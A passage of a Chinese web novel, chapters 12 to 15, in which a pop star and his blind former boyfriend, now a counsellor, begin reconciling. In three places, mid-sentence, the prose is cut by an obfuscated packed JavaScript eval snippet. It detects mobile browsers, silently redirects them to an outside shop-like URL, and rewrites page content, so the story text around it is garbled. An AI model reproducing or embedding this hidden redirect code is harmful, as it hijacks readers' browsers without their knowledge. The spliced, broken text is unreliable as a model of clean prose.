现如今,当所有一切都无所遁形,陶与乐嘴唇微动,下意识仰起脸“望”向戚驰舟道:“你是怎么知道......” 戚驰舟默然。 事实上,连他自己都想不通那个长着翅膀,号称003号的圆形系统究竟是怎么回事。 但既然用科学都无法解释,就只能归咎于爱。 因为他恨得牙痒,却还是等了、找了陶与乐六年。 因为陶与乐眼睛瞎了还学别人追星,桌上放着他的照片,说自己是他粉丝。 因为他们都没忘记,都没放下,都耿耿于怀...... 天知道戚驰舟到底有多么感谢003号。 他甚至隐隐有种预感——如果003没有出现,那么他跟陶与乐极有可能会一直一直错过下去,这辈子都没机会再见。 这种预感实在令人恼火,也实在令人心悸。 这也是戚驰舟为什么二话不说,什么浪费时间的事都不做,在心理咨询中心外等一整天,掉马之后又直接把陶与乐带回家的原因。 反正什么账都可以容后再算,什么气都可以容后再发。 他怕浪费一丁点儿时间,都会出现不可挽回的那种意外。 现在,该说的,想说的,最重要的话都说完了,戚驰舟居高临下地审视着陶与乐,没错过他脸上任何一个痛苦的,愧疚的,后悔的细微表情,“算了”这两个字几乎已经到了嘴边,正准备说出口的时候,陶与乐突然抢在前面,哑着嗓子说:“客厅的花瓶碎了。” “——但碎片我全部都拣干净了。” 戚驰舟蓦地一怔。 那段视频他当然全看完了,只不过当时被某种极其浓郁的情绪裹挟,在确认陶与乐没有受伤之后就把手机收了起来,也不明白陶与乐在这个时候突然提起这件事的原因。 可不知为何,近距离看着陶与乐,戚驰舟的呼吸竟然莫名停顿片刻。 他听见自己问:“——所以呢?” 陶与乐同样屏着呼吸,紧紧攥着戚驰舟的手腕,告诉他:“虽然我的眼睛看不见了,医生说短时间内几乎没有被重新治愈的可能,但我现在适应得很好,日常生活中只要小心一点,谨慎一点,再慢一点,有很多事情都能自己做了。” 听到这里,戚驰舟握紧的拳头骤然松了一点,他终于重新认真地,放松地望向陶与乐。 “所以你的意思是想重新跟我——” “所以你能不能给我一个重新追求你的——” 两道声音同时响起。 戚驰舟先是一愣,然后望向陶与乐:“?” 12.条件 “驰哥这是什么表情?”第二天,站在摄影棚里的乔昕忍不住跟文朔咬起耳朵:“心情看起来好像比平时要好很多,但又有点奇怪——” 之所以会这么说,是因为这会儿他们正在摄影棚里配合杂志社拍封面样照。 这家杂志社向来很会整活,一直都有别出心裁的创意出圈,今年为了话题和流量,干脆在年末搞了一波大的,用长期积累的人脉资源,请来二十位时下最受关注的男星女星拍摄贺岁群封,并且按照性别分为两期,戚驰舟今天参与拍摄的就是下期。 此刻,棚内虽然星光熠熠,不过以戚驰舟现如今的人气、咖位和实绩,在同年龄段的男星中可以说是一骑绝尘,再加上他还是本次新年刊合作品牌上半年新签的代言人,自然是这次群封毋庸置疑的C位男星。 可除他之外,其他人的位置就很微妙了。 大家从表面上看都很礼貌,客客气气,互相谦让,可私下里究竟是怎么想的,有没有人通过团队私下里跟杂志社那边沟通就说不准了。 眼看就这几个站位调来调去,反复拍了好几个不同版本,按照平时,戚驰舟应该早就不耐烦了,虽然他从来都不会表现出来,但心情或多或少会受些影响却是一定的。 然而,已经跟在戚驰舟身边两年,自认对他还算了解的乔昕却发现他今天的状态跟以往都有不同,好像完全没注意到这些暗流涌动。 甚至就算表面看上去状态非常在线,心思却根本不在封面拍摄上面。 文朔也发现了。 而且他比乔昕注意到的细节还更多一点——比如戚驰舟今天一有空就会去看手机,偶尔还会走神,表情则更加耐人寻味,嘴角有时候微微上扬,有时候会往下压...... 再联想到自己知道的那些内幕,文朔默默地缩了缩脖子,觉得戚驰舟这种异常,百分之百是跟心理咨询中心那位眼睛看不见的小陶医生有关,但他不敢问,更不敢说。 确实。 戚驰舟虽然人在拍摄现场,脑子里想的却全部都是陶与乐。 昨天晚上,陶与乐攥着他的手臂问他:“所以你能不能给我一个重新追求你的机会?” 戚驰舟先是愣了一下,然后就看到陶与乐紧绷的下颌和红到极致的双眼。 他沉默了近两分钟时间,收回自己之前的话,垂下眼用很平静的声音问陶与乐:“为什么要重新追我?” “知道自己当初做错了事,所以想跟我道歉,想弥补我?” 陶与乐抿了下唇,依旧“看”着戚驰舟,压抑着某种情绪:“......可以吗?” “......”两人在非常近的距离下对视,虽然客厅里的光线并不算特别明亮,戚驰舟却没错过陶与乐脸上任何一个细微表情,他能轻而易举地感受到从陶与乐身上传递出来的心疼、痛苦与自责,而且因为这种情绪的浓度实在太高,连带着戚驰舟的心脏都跟着缩了一下。 戚驰舟忽然间意识到—— 陶与乐此刻真实又强烈的痛苦,或许不是因为六年前作出的那个选择,而是因为在六年后突然间出现的他。 因为戚驰舟没忘记他,因为戚驰舟还想着他,所以陶与乐才会表现得这么难过。 这个念头出现在戚驰舟脑海中的瞬间,某种更加深重和具体的滞涩也随之蔓延。 他想——这个世界上居然有陶与乐这样的傻子。 生病了不告诉他,眼睛看不见了怕拖累他,就算提出分手,也要绞尽脑汁想出一个让戚驰舟无法拒绝的理由,将所有责任全揽在自己身上。 当初做这些事的时候,独自一人走过六年的时候,陶与乐大概率都没有感到太多后悔。 可一旦得知戚驰舟也在痛苦,并没有获得解脱,他便瞬间扛不住了。 好像比起自己的顾虑、恐惧、害怕、自卑,陶与乐更在意戚驰舟幸不幸福。 戚驰舟忍不住抽了口气。 他早就该知道的。 十四岁被陶管家带到他面前,从来不介意他脾气不好,怎么赶都赶不走,像个小尾巴一样跟着他,自己舍不得买新款电脑,但会攒钱送给他新款手机,嘴上说无证驾驶违法,却还是会坐在副驾驶给他当领航员的陶与乐一直都是这样。 他的身体里好像有一套专门针对戚驰舟的系统,教他不遗余力,教他毫无保留,教他怎么喜欢一个人,喜欢到令对方都感到震动。 只不过这种认知不仅没有让戚驰舟感到愉悦和放松,反而令他原本已经偃旗息鼓的怒气值再一次极速上涨。 戚驰舟喉结滚动了一下,目光黑沉。 那时候已经凌晨,窗户外永远都流光溢彩,华灯璀璨的外滩都安静下来,只有刮到三十四层的风呜呜地吹。 因为戚驰舟迟迟没有说话,得不到回答的陶与乐脸色一点点变成苍白,好像一颗心都沉进谷底,但攥着戚驰舟手腕的力气却没有松懈,只是掌心全都是汗,潮湿冰冷。 他始终把脸朝向戚驰舟的方向,沙哑着嗓子不太确定地问:“是太晚了——” “是太晚了。” 没有等陶与乐把话说完,戚驰舟深吸口气,直接打断他道:“你醒悟得太晚,导致我们之间白白浪费了六年,两千一百多天,所以你的确是应该对我做出补偿,包括重新追求我,重新向我证明你想再次跟我在一起的决心。” 戚驰舟觉得,按照陶与乐现在这个状态,不做点儿什么他大概永远都不会安心。 而且就算陶与乐之前做的一切都情有可原,就算戚驰舟已经知道了所有事情的原委,他还是非常生气,非常恼火,非常...... 戚驰舟想给陶与乐一个教训,所以他立刻决定顺着陶与乐的意思,放弃自己之前的想法,收回之前没说完的话:“——只不过我想要的那种追求,跟你想象中可能不太一样。” 陶与乐好像在短时间内经历了巨大的震动与起伏,怔忪仰头,攥着戚驰舟的手:“什么?” 没过多久,在他反应过来之后立刻说:“你......想要我怎么追你?” 戚驰舟和他对视。 他发现陶与乐虽然看不见了,眼底却还是非常清楚地写着“你想要我做什么,我都会努力去做”,这让戚驰舟再次心软,同时也忍不住想用力去掐他脖子。 强行忍住以后,戚驰舟面无表情地说:“我需要你对我诚实,在我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204694|196402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前不能说谎,你在想什么,想做什么,都不能瞒着我,要告诉我,要毫无保留......能做到吗?” 陶与乐蓦地一怔,片刻后哑着嗓子点了点头:“能。” 戚驰舟也点了点头,看着他:“我需要你重新适应我们之间的关系,在追求我的过程中,学习别人正常谈恋爱的状态,学着信任我,依赖我,而不是推开我,远离我......能做到吗?” 这时候陶与乐的眼睛再度红了,张了张嘴,半晌后又说了“能”。 然后戚驰舟继续提出要求:“我需要你放轻松,不要像现在这样僵硬,需要你是真的想重新跟我在一起,而不是单纯地为了弥补。” 这次他没问“能做到吗”,而是在停顿了一下之后用很平淡的语气问陶与乐:“......你是真的想重新跟我在一起吗?” 陶与乐眸子颤了一下,强忍了很久的眼泪终于夺眶而出,他闭了闭眼,在漫长得像一辈子的几秒钟后点头说是,声音沙哑道:“我是真的想重新跟你在一起。” 听见这句肯定,戚驰舟也侧过头去闭了一下眼睛。 同时觉得陶与乐的态度整体还算端正,便收敛情绪冷静地引导他:“好,那我们就从现在这刻开始。” “陶与乐,从我们久别重逢到现在,除了为什么,对不起,你以为......你还有什么想说却没说的话吗?” “或者,”戚驰舟顿了一下,将目光转移到陶与乐略微有些苍白和干燥的嘴唇上面,补充道:“有什么想做却没做的事也可以。” 陶与乐望着戚驰舟所在的方向,像在瞬间获得了某种启发。 但或许是因为时隔六年,他们分开的时间真的过去太久,导致他整个人都有些生疏,没那么快进入状态,所以迟迟没有开口。 戚驰舟很敏锐地察觉到这一点,立刻冷酷提醒:“别忘了你刚才说过的话,你说以后你在想什么,想干什么,都会对我毫无保留。” 当时陶与乐的嘴唇动了一下,苍白的脸也逐渐浮上血色。 戚驰舟觉得他大概已经有了答案,便很有耐心地等了近五分钟,然后看见陶与乐往前走了一步,站在距离他很近的地方,用很认真的语气说:“那我能摸摸你吗?” 戚驰舟:“......” “我已经太久没见过你了,我怕我会忘记,所以找朋友帮我做了一幅盲人专用的触摸画,就是放在桌上被你看见的那副,”陶与乐眼睛红着,顿了两秒,又深吸了两口气道:“在咨询中心外面听出来是你以后,我就一直很想摸一摸你。” “你说从这一刻开始要对你完全诚实,这就是我现在最想做的,可以吗?” “......”戚驰舟还是沉默。 或许是因为他沉默的时间实在太久,陶与乐仰着脸轻声问:“......是不行吗?” 戚驰舟:“......” 虽然内心因为某种落差而极度不爽,但从十五岁开始就见不得陶与乐脸上出现任何失望或黯淡的戚驰舟黑着脸在面前这人准备后退一步的时候反拽住他的手腕:“想摸就摸。” “——就这种小事,还用得着专门问我?” 13.微信 戚驰舟跟陶与乐曾经有过很多非常亲密的肢体接触。 最开始主要是因为陶与乐这个人以前特别没有分寸,看到戚驰舟赢了比赛会高兴地冲上来把他抱住,戚驰舟不小心弄伤了手会很着急地捧过他的手去看,去鬼屋被NPC吓到会第一时间抓紧戚驰舟的胳膊,还曾经因为戚驰舟房间里的空调制冷坏了,主动邀请他过来跟自己睡一张床...... 戚驰舟最开始很不适应,后来慢慢被陶与乐这种风格传染。 虽然大多数时候还是一脸嫌弃,但偶尔也会忍不住觉得手痒,想捏一捏陶与乐的耳垂,揉一揉他的头发,碰一碰他的脸颊,并在地铁上人很多很挤,陶与乐离他很近的时候伸手揽住他的腰身。 两个人正式确认关系以后更加不用多说——跨国恋本就需要争分夺秒,更何况陶与乐对他还不是一般的那种痴迷。 于是,他们在十几岁的年纪,在任何别人看不到的,难得能够独处的地方,只要对视超过三秒钟就会接吻,从青涩到娴熟,从安静到炽热......在很短的时间内就变得极度默契,极度熟悉。 只不过现在六年时间过去了。 就算戚驰舟站在陶与乐面前,陶与乐也没办法再跟他对视,也没办法像从前一样,精准判断出他心里在想什么。 戚驰舟只能眼睁睁看着陶与乐睁着那双黯淡无神的眼睛,慢慢地,试探性伸出手来触摸他。 这种场面跟戚驰舟预想中完全不同。 但不知道是为什么,当陶与乐把手放在他脸上的那一刻,那种与预期不符的郁气与落差感却突然没了。 他也没告诉陶与乐他的手其实很凉,只是没什么表情地问:“需要我闭眼吗,还是睁眼?坐下来摸会不会更好一点。” 陶与乐的嘴唇动了动,小声说都可以,不用坐着,过了一会儿也问他:“我这样摸你的脸,你会不会觉得很奇怪?” 戚驰舟声音很淡地答说不会,示意陶与乐继续摸,然后像闲聊一样说:“我长变了吗?” 陶与乐落在他脸上的手不自觉顿了一下,不知道在想什么,半晌后摇了摇头,哑着嗓子说:“......还好,跟我印象中一模一样。” 当时戚驰舟点了点头,没再继续说话,现在重新回想起来: 当然一模一样。 他又没有整容。 除了肩背更加挺拔,气质更加成熟,整个人看起来却更加冷淡疏离之外,今年二十五岁的戚驰舟跟十九岁几乎没有任何区别。 更何况。 戚驰舟望向不远处的黑色相机,心道要是他真的变了,现在眼睛看不见了的陶与乐要怎么认出他来? 想到这里,戚驰舟深吸口气。 “这么认真想什么呢,”刚跟杂志社主编和其他几个经纪人寒暄完毕,踩着高跟鞋走过来的伍月打断了戚驰舟一直停留在昨天的思绪:“我刚才在电脑上看了一下样片,效果还挺好的。” 尤其是戚驰舟,在今天被邀请过来的十个男星中帅得格外突出,她很满意。 今天有其他公司艺人在背后使小动作调换位置的事她也知道。但老实说,身为寰亚第一经纪,伍月向来看不上圈子里很多人不卷作品卷番位,一天到晚只想着通过炒作制造虚假繁荣的那些行为。 幸好自家艺人足够争气,不管别人怎么做,做什么,都没办法压过戚驰舟的风头。 “不过刚才有保安说看到附近有人鬼鬼祟祟,不知道是狗仔还是哪家私生。”伍月皱了皱眉。 “不会吧?”听到私生这两个字,跟着她一起过来的文朔脸色立马变了,下意识往周围看去。 毕竟以前遇见过一个私生粉买通酒店,偷偷溜进戚驰舟房间还躺在他床上,差点把人给吓死的恶性事件。 还有什么跟踪尾随,翻垃圾桶,假扮工作人员......种种行为令他们不堪其扰,直到戚驰舟半年前封闭式进组拍摄,才总算消停下来,他都快把之前那种闹心的感觉给忘记了。 伍月显然是猜到了文朔心里在想什么,安抚道:“没事,不一定是冲我们来的,而且现场安保力量很足,老陈的车也停在后门,大家稍微注意一点就行。” 文朔连连点头,戚驰舟也“嗯”了一声,并没有太过在意。 “反正群像都拍完了,就剩最后一组单人的,速度应该很快,拍完大概七点。”伍月抬起手腕看了看表,望向戚驰舟道:“知道你肯定懒得应酬,所以杂志社主编刚说要一起吃饭我找理由拒了,结束以后你好好休息,明天早上十点的飞机,我们——” “飞机?” “是啊,”伍月莫名其妙地看他一眼,“回来那天不是都跟你说了,年前就这么几个工作,品牌活动跟晚会录制都在京市,算上往返的时间一共五天,忘了?” “......”从记忆的犄角旮旯里把自己早就定好的行程表扒拉出来,戚驰舟顿了两秒才说:“没忘。” 就是之前把所有注意力全部放在陶与乐身上,一时间把其他事全部抛在脑后了而已。 这回戚驰舟没问能不能改期之类的废话,他也没那么任性。 只是好不容易抓到了陶与乐,他们之间还有很多事情没有解决,而他却要赶去其他城市工作。 与此同时,戚驰舟低头看了一眼手机,想到另一件事。 ——昨天信誓旦旦说要追他的人,虽然在今天早上加上了他的微信,但是到现在都快要一整天了还没有动静。 老实说,跟陶与乐分别六年之后的再次重逢,进度快到连戚驰舟都有些难以置信。 首先是他没走任何弯路就找到了陶与乐,非常顺利地把人带回了家。 然后躲了整整六年的陶与乐在当年的真相被他揭开以后,出乎戚驰舟意料地没有再次将他推开,而是抓着他的手问他能不能重新开始。 就连那个来自时空管理局的003号都激动得在空中飞出残影,叽里咕噜说个不停,虽然他说的那些话戚驰舟还是不懂,但依然能感觉出它的兴奋。 问题是进度太快也有进度太快的弊端。 陶与乐显然是在完全没有预料的情况下,被突然间出现的戚驰舟打了个措手不及,一时间情绪震荡,不能自已,动作先于理智地向他举了白旗。 可是今天冷静下来之后呢? 他会不会重新想起那些毫无意义的顾虑?会不会再一次产生犹豫?会不会反悔?会不会再次消失? 并不是没有这个可能。 这个念头出现在脑海中的瞬间,戚驰舟的脸色瞬间就沉了下来,当即准备让文朔替他跑一趟心理咨询中心, 他想,陶与乐要是再敢跑第二次,他一定把人抓起来用铁链拴在床上,钥匙扔进下水道里。 然而话还没有开口,余光突然注意到自己无意中点开的对话框,顶端原本写着陶与乐名字那里,突然变成了[对方正在输入中]的字样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215316|196402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 戚驰舟脚步一顿。 只见[对方正在输入中]在对话框里持续了十几秒钟之后消失,又变成[对方正在讲话中],[对方正在讲话中]也持续了十几秒钟,又重新变回备注。 戚驰舟垂眸等了一会儿,大概几分钟之后,看到[对方正在输入中]的提示再次出现。 就这么来来回回,反反复复。 也不知道陶与乐在那边纠结了多久,是刚刚才准备给他发消息,还是从他们早上分开到现在,这一整天都在酝酿。 ——答案是后者。 陶与乐今天一早,在自己没有来访者预约的时候去找了他在心理咨询中心的师兄,一位很专业的心理学PHD。 一直以来,他对陶与乐的照顾颇多,也是陶与乐在日常工作中的督导,除了定期向他汇报接手的个案情况之外,陶与乐也需要定期接受他的梳理,避免自己因为职业性情绪劳动而产生替代性情绪创伤。 只不过今天的情况并不是因为工作。 跟戚驰舟想的一样—— 昨天他抓住戚驰舟说出所有的话,全部是动作先于理智的选择,第二天睡醒以后,他不知道自己这样做究竟是对是错,也不知道接下来该怎么办,于是选择了向师兄求助。 对方和老师一起看着他一路走到现在,很多话说出来不需要有任何负担。 “我不知道他是怎么知道的,我本来应该否认,但是我没有,不仅没有,我还抓住了他。” “是因为你发现他还喜欢你吗?” “是,发现他跟我一样念念不忘之后我浑身上下都疼,疼到喘不上气。”陶与乐停顿很久,但点头后又摇头:“还有我自己......当他重新站在我面前,说他是冲我来的,我就控制不住地心动了,我觉得我这样做非常自私,明明六年前我已经都想好了......” “你已经推开了他一次,所以舍不得再推开他第二次,这很正常,”师兄看着陶与乐说:“更何况他已经向你表明了他的态度,不论是因为他,还是因为自己,都是人之常情。” “与乐,既然你信任我,那么我给你的建议是——不必为过去六年的时光感到纠结和痛苦,也不必担心你会在未来成为对方的负累,相反,我认为你应该觉得庆幸。既然你们经历六年时光都没有走散,那就听从自己的心,在这一刻牢牢地把握住他。” “更何况,要重新追求他的话都已经说出了口,如果你在抓住他还是推开他中左右摇摆,反复迟疑,反倒会伤害自己,也再一次伤害对方。” 都是学心理学的,师兄说的每一句话陶与乐全部都懂,又或者,他只是需要一个专业的人站在专业的角度来肯定他的做法,坚定他的选择。 因为一整个晚上过后,哪怕陶与乐的情绪已经没有那么激烈震荡,可冷静下来,反复斟酌,权衡利弊之后,脑子里还是只有一个念头—— 戚驰舟还喜欢他,戚驰舟还等着他。 陶与乐一边觉得自己罪孽深重,一边控制不住地想往前走。 只是时隔六年,曾经在戚驰舟面前每天说个不停的陶与乐变词穷了,不知道该怎么正式迈出追求的第一步。 他反复用盲文键盘输入,又切换语音,纠结了一整天之后终于发出去两条消息。 陶与乐:我刚发了工资,算上年终奖有很大一笔,你想不想让我请你吃饭? 陶与乐:又或者……你需不需要人帮你喂猫。 14.态度 从摄影棚回去的路上,坐在保姆车后排的乔昕忍不住拿起手机,悄悄跟就坐在自己旁边的文朔发微信。 先是:我真的觉得驰哥今天这状态有点不太对劲。 文朔:? 乔昕撞了撞他的胳膊,示意他往前面看,然后低头继续打字:我刚才在棚里看到他对着手机笑了! 文朔:...... 见文朔的反应如此平淡,乔昕不由得继续发力:你都不觉得奇怪吗?? 乔昕:驰哥这样一个平时微信懒得聊,抖音懒得看的稀有物种,居然会看着对话框笑。 文朔拿着手机战术性咳嗽一声。 乔昕的思维继续发散:你说驰哥他会不会是有暧昧对象了? 文朔这一次是真呛到了,咳得惊天动地,连坐在前面的戚驰舟都回头看了一眼,问他什么情况,乔昕连忙拽住他的胳膊,压低了声音道:“你别搞这么大动静!!” “......” 一句“那还不是被你给吓的”都到了嘴边,又被文朔强行给咽了下去。 他又咳了几声,继而佯装若无其事地拿起手机,义正言辞地替戚驰舟打掩护:应该没有吧,肯定是你的错觉。 乔昕狐疑:错觉吗? 可她确实看到戚驰舟今天在拍摄间隙看了无数次手机,脸色一直算不上好,刚才却又阴雨转晴,像是终于收到了让他等待已久的某条消息。 文朔态度坚定:嗯,错觉! 乔昕:好吧...... 她确实也只是瞎猜。 现在转念一想,戚驰舟平时除了工作,对任何人都冷漠无情,怎么看都不像是会有暧昧对象的人。 再说,作为戚驰舟身边的工作人员,老板要是哪天真的跟谁谈起恋爱,这中间万一了出现什么纰漏没有瞒好,那热搜岂不是得当场爆炸?后果不堪设想。 想到这里,乔昕连忙摇了摇头,将这个吓人的念头抛在脑后。 然而,当司机一路将保姆车开进小区,她跟文朔陪着戚驰舟一起上楼,准备收拾明天飞京市要带的行李时,赫然发现戚驰舟亲自动手,将猫窝、猫砂、猫粮、猫屎盆、玩具等东西一起打包,鼓鼓囊囊装了一大袋子。 还弯腰将看见他回来以后颠颠跑过来,用脑袋蹭他腿的猫给抱起来,装进笼子里面。 连文朔都愣了一下,问:“驰哥,你这是在干什么?” 戚驰舟瞥了被装进笼子里有点不太高兴,一直试图用爪子扒拉门栓的猫崽子一眼,说:“帮它搬家。” 搬家??? 文朔没反应过来:“什么叫搬家?” 乔昕也说:“是啊,为什么要搬家?” 工作室所有人都知道这只猫是戚驰舟出道以前养的,宝贝得很,这几年在外工作时间只要超过半个月以上,不论走到哪里都要带上,因此,现在突然一句“搬家”直接把他们两个人都整懵了。 “驰哥,”想到另外一种可能,乔昕讷讷道:“你该不会是不要它了——” “当然不是。”打断了乔昕的话,戚驰舟蹲下来摸了摸猫的爪子,看着它面无表情道:“它在我这里一直都是寄养。” 现在真正的主人终于回来。 还主动说要帮它喂猫。 戚驰舟干脆将猫还有用品、玩具一起打包给送过去,反正这只猫崽子头一回见陶与乐就对他亲得不行。 至于为什么不直接让陶与乐搬到他这里来——一个是之前在监控里看到的那些画面,戚驰舟到现在都印象深刻,也让他清楚认识到了一个陌生的新环境,对一个眼睛看不见的人来说,究竟意味着多少危险和不可控。 另一个原因则是这里离陶与乐上班的心理咨询中心实在太远,戚驰舟接下来要离开五天,在不能亲自接送的情况下,他实在不知道陶与乐应该怎么上班。 说到心理咨询中心。 嘉禾今天跟闺蜜约了电影,然而闺蜜下班临时被领导抓去开会,她干脆改签到晚上十点那场,让闺蜜可以慢慢来,不用着急,而她则坐在前台边玩手机边等。 听到盲杖敲击地面的声音,她下意识抬起头来:“陶医生,今天你怎么也这么晚?” 陶与乐冲她所在的方向笑了一下:“快下班的时间有个未成年的来访者多占用了一点时间,等她走后我又整理了一会儿资料。” 说着,他把来访者送的那罐糖果递给嘉禾:“这个放在前台给你们吃吧。” “哇,谢谢陶医生!” 嘉禾开开心心把糖果接过来以后,突然想到什么,忍不住问:“对了,我还有一个问题。就是我跟戚驰舟拍的照片......能不能发朋友圈啊?” 陶与乐怔了一下:“你还没有发吗?” “是啊,”嘉禾说:“本来当场就准备发的,后来想到他在我们咨询中心建档的事,担心随随便便发出去会给他惹什么麻烦。” 毕竟戚驰舟是备受关注的公众人物,不论做任何事情都应该谨慎小心。 陶与乐本来想说没事,既然戚驰舟当时愿意配合,就应该没有不同意她们将照片分享出去的意思,但犹豫片刻,想了想还是说:“等我问过他之后再告诉你,这样可以吗?” 就知道陶与乐一定会有戚驰舟的个人联系方式,嘉禾立刻两眼放光道:“当然可以!” “还有还有,”嘉禾实在耐不住好奇,趴在前台眨了眨眼问:“陶医生,我真的特别好奇,你跟戚驰舟是怎么认识的啊?你们认识了多长时间?” 虽然预缴了未来一整年的咨询费用,但现在回过头看,嘉禾总觉得戚驰舟不是真的过来咨询,倒像是专门给陶与乐冲业绩来的。 陶与乐张了张口,正准备回答的时候,突然听见咨询中心的玻璃门自动朝两侧打开的声音。 现在已经是下班时间,自然不会再有来访者过来,嘉禾还以为是自己闺蜜,下意识回过头去,看清楚来人之后愣了一下。 那个“戚”字还没来得及出口,就看到从外面走进来的戚驰舟说:“快十年了。” 听见这道声音,陶与乐不自觉将视线定格在门口的方向,同时微微睁大眼睛,心跳加速。 事实上,他之所以会拖到这么晚才下班,是因为之前发过去的那两条消息,戚驰舟一直都没有回复。 很想再发消息过去,但知道戚驰舟今天要拍杂志,怕他在忙,怕打扰他,怕影响他,也怕他嫌烦...... 各种各样的念头在脑海中全部闪过一遍,连陶与乐自己都觉得自己患得患失,优柔寡断,可他跟戚驰舟分开六年,不论什么理由,作为当初亲手将对方推开的人,他怎么可能像从前一样? 很多话都说不出口,也有很多难言的顾虑。 “十——”戚驰舟明显做过造型,那张近乎完美的建模脸视觉冲击力比上次更强,嘉禾慢了半拍才反应过来他是在回答她刚才的问题,愣愣道:“……您是来找陶医生吗?” 戚驰舟“嗯”了一声,隔着几步的距离将目光落在陶与乐身上:“陶医生说要请我吃饭,所以我专门来接他下班。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217237|196402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 嘉禾:“!” 又是认识十年又是一起吃饭,现在戚驰舟还专门过来接陶与乐下班,嘉禾真的很想采访一下陶与乐有个大明星当好朋友是种什么体验。 陶与乐的心跳则一直很快。 他发现,哪怕已经决定了厚着脸皮再也不要放手,哪怕他们昨天晚上还在一起,再次见到戚驰舟,他还是会觉得紧张,恍神,悸动,连带着指尖都有些微微发麻。 他们并没有在心理咨询中心耽误太久,陶与乐很快握着盲杖,跟戚驰舟一起离开。 这会儿已经入夜,外面的温度比白天低了很多。 可冷风刮过来的同时,陶与乐也闻到戚驰舟身上那股好闻又凛冽的香水味道。 这次还是戚驰舟带着陶与乐走,只不过除了指路,他们并没有过多交流。 顺利上车以后,陶与乐给自己系上安全带,却没有听到戚驰舟发动汽车的声音,他舔了下发干的嘴唇,问:“你想去哪里——” 然而“吃”字还没说完,戚驰舟已经率先截过话头:“你怎么不问我为什么没回微信?” 陶与乐的拇指不自觉在盲杖上刮了一下,朝着戚驰舟的方向:“是因为你在忙吗?” 听见他的回答,戚驰舟嗤笑一声。 不明白他为什么是这个反应,陶与乐犹豫着张了张口,没等他想好自己下一句该说什么,又听见戚驰舟说:“既然知道我没有回,为什么不直接打电话问我?” 陶与乐蓦地一顿。 他们坐得很近,戚驰舟没错过陶与乐脸上任何一个细微表情,一边觉得他们现在这种不生不熟的情况全部是陶与乐当初自以为是自作主张所造成的,一边又忍不住为他这种僵硬和滞涩的状态感到心疼。 两种极其鲜明的情绪混在一起,过了数秒,戚驰舟看着陶与乐的眼睛说:“陶与乐,你追人的态度未免也太不积极。” “......”陶与乐先是愣了一下,然后马上说:“我没有——” “那就现在打。” 戚驰舟语气很淡地打断了他,然后手把手教他,语气意味不明:“发微信不回就打电话,一个电话没接就打两个,坐在办公室里捧着手机干等算怎么回事?要积极主动,要锲而不舍......这才是正确的追人态度,不是么?” 陶与乐整个人都是一怔,原本已经平复下来的心跳再一次变得很快,每一下都砸得很重。 他好像听懂了戚驰舟的意思,在停顿了几秒之后,终于忍不住弯了弯眼睛,像获得了某种敕令,把手机从口袋里摸出来,按照语音提示,一步步拨通了戚驰舟的电话。 当震动声在封闭的车厢内响起,戚驰舟很快接了起来,“喂”了一声后淡声问:“有什么事?” 陶与乐很轻地眨了眨眼,握着手机,朝着戚驰舟的方向,问出那个自己等了两个小时都没有得到回复的问题:“我前几天刚发了工资,算上年终奖有很大一笔,你要不要我请你吃饭?” 戚驰舟也看着他,在电话里轻描淡写地说了“可以”,又问:“还有别的事吗?” “还有,”陶与乐舔了舔嘴唇,自卖自夸:“虽然我的眼睛看不见了,但是做很多力所能及的事都没有问题,所以我想问你,需不需要一个人每天来帮你喂猫?” 戚驰舟盯着他看了几秒,说:“这个我不需要。” 显然没想到他会拒绝,陶与乐愣了一下,刚想继续为自己争取,戚驰舟拿着手机,面无表情地望着陶与乐说:“因为那是你自己的猫。” 15.接吻 陶与乐刚开始以为自己听错了:“什么?” 戚驰舟没有回答。 紧跟着就听见一阵布料摩擦的声音,坐在驾驶座的戚驰舟把安全带解开,回身直接把之前放在笼子里的猫抱了出来,放进陶与乐怀里。 车上一直开着暖气,就算戚驰舟下车去接陶与乐耽误了一会儿时间,温度也没散多少,因此,被关在笼子里本就无聊的猫崽子早睡着了,这也是它之前一直没动静的原因。 这会儿突然被戚驰舟弄醒,猫还有一点懵,先是习惯性伸了个懒腰,然后耸着鼻尖瞪大眼睛盯着陶与乐看了几秒,发出“喵”的声音,又转头冲戚驰舟也“喵”了一声。 怀里突然多了一团绵软温暖的物体,陶与乐一时间僵住,下意识用一只手稳稳将它拖住,然后试探着用另外一只手抚摸。 他们已经不是第一次接触了。 猫在陶与乐身上闻到了好闻又熟悉的味道,很快就从最开始的警惕变为放松,眯起眼睛,用那一小截粉色的,带有细密倒刺的舌头在陶与乐手上舔了几下,舔到他手背那块变成湿漉漉的之后,喉咙里滚出一串非常模糊的呼噜声,示意陶与乐继续摸它。 